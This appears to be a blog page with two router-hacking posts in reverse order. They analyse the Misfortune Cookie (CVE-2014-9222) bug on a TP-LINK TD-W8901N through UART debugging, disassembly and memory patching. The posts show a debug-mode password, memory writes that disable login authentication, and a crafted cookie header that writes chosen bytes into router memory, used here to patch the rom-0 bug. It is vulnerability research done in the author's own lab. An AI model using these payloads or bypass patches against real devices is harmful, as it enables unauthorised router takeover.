804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4C0: 00 00 00 00 63 61 77 61-6E 00 00 00 00 00 00 00   ....cawan.......
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

Cool, the string "cawan" is there. Then, we try to put it into the portion between
0x804ED570 and 0x804ED5B0.

ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...

cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232   */*.Cookie: C22
0000050: 3032 373d 6361 7761 6e0a                            027=cawan.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$

Press any key to enter debug mode within 3 seconds.
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00   .....N.h..9.....
804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54   ........GET /.HT
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E   TP/1.1.user-agen
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 63 61 77 61   t: curl/7.33cawa
804ED590: 6E 00 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31   n.t: 192.168.1.1
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F   .accept: */*.coo
804ED5B0: 6B 69 65 3A 20 43 32 32-30 32 37 00 63 61 77 61   kie: C22027.cawa
804ED5C0: 6E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   n...............
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

Well, it is clear that for whatever string that we send will be padded by a null
character. Now, we can create a nop instruction where the last byte is 0x00. It
is simple, we choose

lui $s7,0x4100

which its hex is 0x3C174100. So, we have to find out which location that we need
to patch now. After having some study with IDA, it seems

ROM:80102A40 jal sub_8003D630

is the correct place. Let's try it.

ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 80102a40,00000000
OK
atgo 80020000
OK
..
..

cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:07:26--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 03:07:26 ERROR 404: Not Found.
cawan$

Well, we are at the right place. Now, we have to calculate the address to be used
by the misfortune cookie bug.

0x80102A40 - 0x804163D4 = 0xFFCEC66C                (Do it in Dword)

0xFFCEC66C % 0x28 = 0xC           (Do it in Qword)

Unfortunately, 0x80102A40 is not exactly aligned to the 0x28. So we should adjust
the address to make it properly aligned. We try again.

0x80102A34 - 0x804163D4 = 0xFFCEC660                (Do it in Dword)

0xFFCEC660 % 0x28 = 0x0         (Do it in Qword)

Nice, it is 0x28 aligned now, so we can proceed to calculate the address.

0xFFCEC660 / 0x28 = 0x6652B5C (Do it in Qword)

0x6652B5C = 107293532


It is ready to create our payload now. Let's boot the router in normal and test
our payload. Remember our nop instruction ? :) Before trigger our payload, lets
verify the rom-0 bug is there.

cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:29:11--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16384 (16K) [application/octet-stream]
Saving to: ‘rom-0’

100%[=======================================================================
=========================>] 16,384      14.9KB/s   in 1.1s

Last-modified header invalid -- time-stamp ignored.
2015-03-03 03:29:12 (14.9 KB/s) - ‘rom-0’ saved [16384/16384]

cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3732 3933 3533 323d 4141 4141 4141 4141  7293532=AAAAAAAA
0000060: 4141 4141 3c17 410a                                      AAAA<.A.

cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:40:32--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 03:40:32 ERROR 404: Not Found.

cawan$

Excellent, we are done, and we conclude our fun here. :)


PDF Version: https://www.scribd.com/doc/262590842/Patching-ROM-0-Bug-With-Misfortune-Cookie

Monday, February 16, 2015

Misfortune Cookie (CVE-2014-9222) Demystified

Misfortune Cookie (CVE-2014-9222) Demystified

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 16/02/2015


The misfortune cookie vulnerability has been around for a while but still lacking
an analysis which illustrate the techinical details of the vulnerability in public.
Those so called "misfortune cookie scanner" are just a simple script to retrieve
the return string at path "/Allegro" as shown below,



cawan$ curl 192.168.1.1/Allegro <html> <head> <title>Allegro Copyright</title></head><body> RomPager Advanced Version 4.07<br />(C) 1995 - 2002 Allegro Software Development Corporation</body></html>
nothing special... So, let us dig further now. I am using TD-8901N with firmware
version "TD-W8901N v1_111211". After open the housing of the router, the Tx and Rx
are labeled on the PCB to show the UART connection are available to be connected
for debugging purposes. By using an oscilloscope to probe the Tx in bootup process,
it shown the baudrate is 115200 in 3.3v. Now, attach an USB-to-UART onto it and
bootup the router again. Well, we can see the boot log in pretty detail. However,
the command interface is really restricted, nothing can make use there, as shown
below,

Copyright (c) 2001 - 2012 TP-LINK TECHNOLOGIES CO., LTD.
TP-LINK>
TP-LINK> ?
Valid commands are:
sys             exit            ether           wan            
etherdbg        tcephydbg       ip              bridge          
dot1q           pktqos          show            set            
lan                                                            
TP-LINK>

Anyway, we can stop the boot process at the zynos bootloader, as shown below,

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode


In debug mode, we can use zynos commands which is AT command alike, as shown
below,

Enter Debug Mode
athe
======= Debug Command Listing =======
AT          just answer OK
ATHE          print help
ATBAx         change baudrate. 1:38.4k, 2:19.2k, 3:9.6k 4:57.6k 5:115.2k
ATENx,(y)     set BootExtension Debug Flag (y=password)
ATSE          show the seed of password generator
ATTI(h,m,s)   change system time to hour:min:sec or show current time
ATDA(y,m,d)   change system date to year/month/day or show current date
ATDS          dump RAS stack
ATDT          dump Boot Module Common Area
ATDUx,y       dump memory contents from address x for length y
ATRBx         display the  8-bit value of address x
ATRWx         display the 16-bit value of address x
ATRLx         display the 32-bit value of address x
ATGO(x)       run program at addr x or boot router
ATGR          boot router
ATGT          run Hardware Test Program
ATRTw,x,y(,z) RAM test level w, from address x to y (z iterations)
ATSH          dump manufacturer related data in ROM
ATDOx,y       download from address x for length y to PC via XMODEM
ATTD          download router configuration to PC via XMODEM
ATUR          upload router firmware to flash ROM

< press any key to continue >


According to Piotrbania [1], there is a "god mode" which should be triggered
to enable hidden commands. The hidden commands will allow us to view memory
mapping and to edit memory contents, as shown below,

ATEN1, A847D6B1
OK
athe
======= Debug Command Listing =======
AT          just answer OK
ATHE          print help
ATBAx         change baudrate. 1:38.4k, 2:19.2k, 3:9.6k 4:57.6k 5:115.2k
ATENx,(y)     set BootExtension Debug Flag (y=password)
ATSE          show the seed of password generator
ATTI(h,m,s)   change system time to hour:min:sec or show current time
ATDA(y,m,d)   change system date to year/month/day or show current date
ATDS          dump RAS stack
ATDT          dump Boot Module Common Area
ATDUx,y       dump memory contents from address x for length y
ATWBx,y       write address x with  8-bit value y
ATWWx,y       write address x with 16-bit value y
ATWLx,y       write address x with 32-bit value y
ATRBx         display the  8-bit value of address x
ATRWx         display the 16-bit value of address x
ATRLx         display the 32-bit value of address x
ATGO(x)       run program at addr x or boot router
ATGR          boot router
ATGT          run Hardware Test Program
AT%Tx         Enable Hardware Test Program at boot up
ATBTx         block0 write enable (1=enable, other=disable)

< press any key to continue >
ATRTw,x,y(,z) RAM test level w, from address x to y (z iterations)
ATWEa(,b,c,d) write MAC addr, Country code, EngDbgFlag, FeatureBit to flash ROM
ATCUx         write Country code to flash ROM
ATCB          copy from FLASH ROM to working buffer
ATCL          clear working buffer
ATSB          save working buffer to FLASH ROM
ATBU          dump manufacturer related data in working buffer
ATSH          dump manufacturer related data in ROM
ATWMx         set low 6 digits MAC address in working buffer
ATMHx         set hight 6 digits MAC address in working buffer
ATBS          show the bootbase seed of password generator
ATLBx         xmodem upload bootbase,x is password
ATSMx         set 6 digits MAC address in working buffer
ATCOx         set country code in working buffer
ATFLx         set EngDebugFlag in working buffer
ATSTx         set ROMRAS address in working buffer
ATSYx         set system type in working buffer
ATVDx         set vendor name in working buffer
ATPNx         set product name in working buffer
ATFEx,y,...   set feature bits in working buffer
ATMP          check & dump memMapTab
ATDOx,y       download from address x for length y to PC via XMODEM

< press any key to continue >
ATTD          download router configuration to PC via XMODEM
ATUPx,y       upload to RAM address x for length y from PC via XMODEM
ATUR          upload router firmware to flash ROM
ATDC          hardware version check disable during uploading firmware
ATLC          upload router configuration file to flash ROM
ATUXx(,y)     xmodem upload from flash block x to y
ATERx,y       erase flash rom from block x to y
ATWFx,y,z     copy data from addr x to flash addr y, length z
ATXSx         xmodem select: x=0: CRC mode(default); x=1: checksum mode
ATLD          Upload Configuration File and Default ROM File to Flash
ATBR              Reset to default Romfile
ATCD          Convert Running ROM File to Default ROM File into Flash

OK
atmp
                                                                                                     
ROMIO image start at bfc30000

  1: HTPCode(RAMCODE), start=80048000, len=E0000
  2: RasCode(RAMCODE), start=80048000, len=6E0000
$ROM Section:
  3: BootBas(ROMIMG), start=bfc28000, len=4000
  4: DbgArea(ROMIMG), start=bfc2c000, len=2000
  5: RomDir2(ROMDIR), start=bfc2e000, len=2000
  6: BootExt(ROMIMG), start=bfc30030, len=13FD0
  7: MemMapT(ROMMAP), start=bfc44000, len=C00
  8: HTPCode(ROMBIN), start=bfc44c00, len=8000
     (Compressed)
     Version: HTP_TC V 0.05, start: bfc44c30
     Length: 10488, Checksum: CB32
     Compressed Length: 41CF, Checksum: D5A5
  9: termcap(ROMIMG), start=bfc4cc00, len=400
 10: RomDefa(ROMIMG), start=bfc4d000, len=2000
 11: LedDefi(ROMIMG), start=bfc4f000, len=400
 12: LogoImg(ROMIMG), start=bfc4f400, len=2000
 13: LogoImg2(ROMIMG), start=bfc51400, len=2000
 14: StrImag(ROMIMG), start=bfc53400, len=32000
 15: Rt11nE2p(ROMIMG), start=bfc85400, len=400
 16: fdata(ROMBIN), start=bfc85800, len=10000
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
 17: RasCode(ROMBIN), start=bfc95800, len=192800
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612


So, we can make a summary here,

1. The very first execution is started from 0xbfc00000

To verify this, we can try this,

atgo bfc00000

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
.........
Enter Debug Mode


2. The zynos bootloader is started from 0x80000000. It will be unpacked and
decompressed in the previous stage before getting executed. It is not exactly
the 14C33 image of ras as shown below,

cawan$ binwalk ras

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
61315         0xEF83          ZyXEL rom-0 configuration block, name: "dbgarea", ...
61564         0xF07C          ZyXEL rom-0 configuration block, name: "dbgarea", ...
85043         0x14C33         LZMA compressed data, properties: 0x5D ...
118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\
118804        0x1D014         ZyXEL rom-0 configuration block, name: "spt.dat", ...
118824        0x1D028         ZyXEL rom-0 configuration block, name: "autoexec.net", ...
128002        0x1F402         GIF image data, version "89a", 200 x 50
136194        0x21402         GIF image data, version "89a", 560 x 50
244317        0x3BA5D         Neighborly text, "neighbor of your ADSL Router that ...
281224        0x44A88         Unix path: /I/J/L/M
328173        0x501ED         Copyright string: "Copyright (c) 2001 - 2012 TP-LINK ...
350259        0x55833         LZMA compressed data, properties: 0x5D, ...
415795        0x65833         LZMA compressed data, properties: 0x5D, ...

So, it should be dumped from memory by using atdo command.


3. The rtos which is threadx together with vulnerable allegro rompager is started
from 0x80020000. Again, it is unpacked and decompressed in the previous stage
before getting executed. Anyway, it is exactly the 65883 image being extracted
from the firmware, as shown above. Besides, the processor architecture can be
detected as below,

cawan$ binwalk --disasm --minsn=100 65833

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             MIPS executable code, 32/64-bit, big endian, ...


So, the 65883 is ready to be loaded in ida pro with 0x80020000 as base address
and MIPS big endian as processor architecture. According to Lior Oppenheim
and Shahar Tal [2], the vulnerability is due to the mis-interpretation of
"Cookie: C" header to the rompager webserver. While doing this,

cawan$ curl --header 'Cookie: C' 192.168.1.1

will cause the router get into something wrong and reboot immediately. At the
UART port, the "Kernel Panic" alike error dump is shown accordingly, as below.

TP-LINK>
TLB refill exception occured!
EPC= 0x8010E5D8
SR= 0x10000003
CR= 0xC080500C
$RA= 0x00000000
Bad Virtual Address = 0x00000000
UTLB_TLBS ..\core\sys_isr.c:267 sysreset()


        $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x00000000
        $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0


          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805e2bc8: 80 5e 2b f8 80 04 2a 70 80 4e d5 ba 00 00 00 01     .^+...*p.N......
805e2bd8: 80 4e d5 ba 00 00 00 00 80 40 f8 ac 80 48 4e 29     .N.......@...HN)
805e2be8: 80 55 54 4c 42 5f 54 4c 42 53 00 ba 80 41 34 0c     .UTLB_TLBS...A4.
805e2bf8: 80 5e 2c 18 80 10 e5 e0 80 42 64 dc 80 4e d5 b9     .^,......Bd..N..
805e2c08: 80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@......
805e2c18: 80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@......
805e2c28: 00 00 00 00 80 16 c4 28 80 5e 2c 40 80 10 ec 28     .......(.^,@...(
...
...
805e2f68: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f78: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f88: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f98: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fa8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fb8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fc8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................

 current task   = httpd
 dump task      = network
 tx_stack_ptr   = 0x805D5990
 tx_stack_start = 0x805D3AF0
 tx_stack_end   = 0x805D5AEF
 tx_stack_size  = 0x00002000
 tx_run_count   = 0x00000220
          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805d5990: 00 00 00 00 80 5d 5a 70 80 44 2b f8 80 4a db 98     .....]Zp.D+..J..
805d59a0: 80 44 2c 8c 80 44 2c 90 80 44 2c 7c 80 44 2c 94     .D,..D,..D,|.D,.
805d59b0: 80 4a db 98 10 00 00 01 00 00 00 0a 00 00 00 00     .J..............
805d59c0: 80 1e cc ac 10 00 00 01 00 00 00 00 80 51 47 98     .............QG.
805d59d0: 00 00 00 00 00 00 05 dc 00 00 00 14 c0 a8 01 90     ................
805d59e0: 80 5d 5a 90 80 07 20 c8 80 45 23 34 00 00 00 01     .]Z... ..E#4....
805d59f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805d5a00: 00 00 00 00 80 4d ac 88 80 52 90 38 00 00 00 01     .....M...R.8....
805d5a10: c0 a8 01 90 00 00 00 01 80 5d 5a 90 80 51 47 98     .........]Z..QG.
805d5a20: 80 45 23 34 00 00 00 14 00 00 00 00 00 00 00 00     .E#4............
805d5a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805d5a40: 00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 01 01     ................
805d5a50: 10 00 00 01 80 4a db 98 00 00 00 00 00 00 00 00     .....J..........
...
...
Reserve for Print when Crash

Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!


Well, the error is occured at httpd process and the program counter is at
0x8010E5D8. Let's check the details in ida pro.

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0      
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0      
ROM:8010E5D0                 move    $s1, $v0      
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1)
ROM:8010E5E0                 move    $a0, $s1      
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0      
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2  
ROM:8010E5F4                 move    $a1, $s1      
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0  
ROM:8010E604                 addu    $a0, $t5, $t2  
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644  
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  # ---------------------------------------------------------------------------


Excellent, it is exactly the codes being mentioned in [2]. It seems the syntax
Cxxx=yyy will be interpreted as xxx being multiplied with 0x28 at ROM:8010E5F0,
and sum the result with a base address being calculated at ROM:8010E5F8, and
use the new address as the destination address to copy yyy into it at ROM:8010E608.
Hence, it allows us to perform an arbitrary overwrite here. On the other hand,
it is possible to "unlock" the router with "sys pwauthen 0", as shown below.



cawan$ curl 192.168.1.1 <html> <head> <title>Protected Object</title></head><body> <h1> Protected Object</h1> Username or Password error</body></html>
TP-LINK> sys pswauthen 0
Do not need password authentication for configuration!
TP-LINK>



cawan$ curl 192.168.1.1 <html> <head> <title> </title> </head><frameset border="0" frameborder="0" framespacing="0" rows="65,75,*"> <frame marginheight="0" marginwidth="0" name="header" noresize="" src="status.html"></frame> <frame marginheight="0" marginwidth="0" name="navigation" noresize="" src="navigation-status.html"></frame> <frame marginheight="0" marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame> </frameset><noframes> </noframes> </html>
So, let us find the exact location of the "unlock" byte now. By tracing the string
"Do not need password authentication for configuration!", at instruction ROM:801F9168,
it seems the "unlock" byte is located at 0x8034FF94. Now, let's confirm it. Based on
the memory dump of 0x80000000, the firmware decompression job is completed prior the
address 0x80014BC0 and jump to 0x80020000 at that address with instruction "jalr $s0".
From ida pro, we know that $at is equal to 0x80020000, if we change the instruction
at ROM:0x80014BC0 from "jalr $s0" to "sw $s0, -4($at)", then once the image being
decompressed, it will just copy the content of $s0 to 0x8001FFFC, and stop the boot
process there. So, by reading the content at 0x8001FFFC, we can know the zynos is
going to jump to 0x80020000 or somewhere else. Let's do it.

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
............
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
atgr
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
atrl 8001fffc
8001FFFC: 80020000


As a little reminder here, the ac30fffc is the hex of "sw $s0, -4($at)". Now, we can
confirm the base of decompressed image is located at 0x80020000. As mentioned, we
know the "unlock" byte is located at 0x8034FF94, and if we change it from 1 to 0, then
it suppose to work without password authentication. Let's try it now.

atrb 8034ff94
8034FF94: 01

OK
atwb 8034ff94,0
OK
atgo 80020000

Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initialize ch = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initialize ch = 1, ethernet address: 14:cc:20:57:38:2a
Wan Channel init ........ done
Reset dmt
Check DMT version =b2 ........
Initializing ADSL F/W ........ done
ADSL HW version: b2, HCLK 140
ok

==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswap on,DS bitswap on
OlrON
SRAON
Testlab 32
largeD flag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse : on

input line: sysdisa
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
ble PM!
Dyingasp OFF!
dhcp address probe action is disabled
Valid Loss of power OFF!
run distributePvcFakeMac!
set try multimode number to 3 (dropmode try num 3)
Syncookie switch On!
run distributePvcFakeMac!
run distributePvcFakeMac!
run d
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...




cawan$ curl 192.168.1.1 <html> <head> <title> </title> </head><frameset border="0" frameborder="0" framespacing="0" rows="65,75,*"> <frame marginheight="0" marginwidth="0" name="header" noresize="" src="status.html"></frame> <frame marginheight="0" marginwidth="0" name="navigation" noresize="" src="navigation-status.html"></frame> <frame marginheight="0" marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame> </frameset><noframes> </noframes> </html>

Excellent, it is definitely working in "unlock" mode right now. So, it is the time
to exploit the vulnerability remotely. By referring the code snippet of httpd again,
it seems we need to know the value of $s4 at ROM:8010E5F8 in order to calculate the
destination address of write operation at ROM:8010E608. We show the code snippet of
httpd again here.

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0      
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0      
ROM:8010E5D0                 move    $s1, $v0      
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1)
ROM:8010E5E0                 move    $a0, $s1      
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0      
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2  
ROM:8010E5F4                 move    $a1, $s1      
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28  # $s4 = ?
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0  
ROM:8010E604                 addu    $a0, $t5, $t2  
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644  
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  # ---------------------------------------------------------------------------

The problem right now is how to get the value of $s4 at ROM:8010E5F8 ?
Simple, just copy the content of $s4 into a rarely use register such as $s7 and
then trigger a "kernel panic" event immediately. Let's do it now. We are going
to change,

ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0

to

ROM:8010E5FC                 add $s7, $s4,$zero
ROM:8010E600                 jr $zero

and the hex of these 2 instructions are,

"add $s7, $s4,$zero"   =  0x0280b820
"jr $zero"             =  0x00000008

So, let's get the $s4 value,


Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E5FC, 0280b820
OK
ATWL 8010E600, 00000008
OK
ATGO 80020000

Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initialize ch = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initialize ch = 1, ethernet address: 14:cc:20:57:38:2a
Wan Channel init ........ done
Reset dmt
Check DMT version =b2 ........
Initializing ADSL F/W ........ done
ADSL HW version: b2, HCLK 140
ok

==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswap on,DS bitswap on
OlrON
SRAON
